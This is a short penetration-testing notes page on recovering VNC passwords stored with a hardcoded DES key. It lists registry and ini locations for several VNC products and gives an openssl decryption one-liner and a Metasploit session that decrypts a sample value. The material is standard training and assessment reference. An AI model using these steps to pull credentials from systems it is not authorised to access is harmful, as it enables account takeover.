VNC Config

MITRE ATT&CK™ Unsecured Credentials: Credentials In Files - Technique T1552.00

Theory

VNC clients uses a hardcoded DES key to store credentials. If you have access to a VNC config file you may be able to decrypt it as the same key is used across multiple product lines.

Practice

Windows

On Windows systems, you may find the VNC password in the following files.

VNC Client	Config File	Password
RealVNC	HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\vncserver	Value: Password
TightVNC	HKEY_CURRENT_USER\Software\TightVNC\Server	HKLM\SOFTWARE\TightVNC\Server\ControlPassword
tightvnc.ini	vnc_viewer.ini	Value: Password or PasswordViewOnly
TigerVNC	HKEY_LOCAL_USER\Software\TigerVNC\WinVNC4	Value: Password
UltraVNC	C:\Program Files\UltraVNC\ultravnc.ini	Value: passwd or passwd2

Once you have extracted the hexadecimal-encoded password, we can decrypt it using only native Linux tools

echo -n <HEX_PASSWORD> | xxd -r -p | openssl enc -des-cbc --nopad --nosalt -K e84ad660c4721ae0 -iv 0000000000000000 -d | hexdump -Cv

Msfconsole can also be used to decrypt the password as follows (example with key 17526b06234e5807)

$> msfconsole

msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
 => "\u0017Rk\u0006#NX\a"
>> require 'rex/proto/rfb'
 => true
>> Rex::Proto::RFB::Cipher.decrypt ["D7A514D8C556AADE"].pack('H*'), fixedkey
 => "Secure!\x00"
>> 

UNIX-like

Resources

https://notes.offsec-journey.com/enumeration/vncnotes.offsec-journey.com

GitHub - frizb/PasswordDecrypts: Handy Stored Password Decryption TechniquesGitHub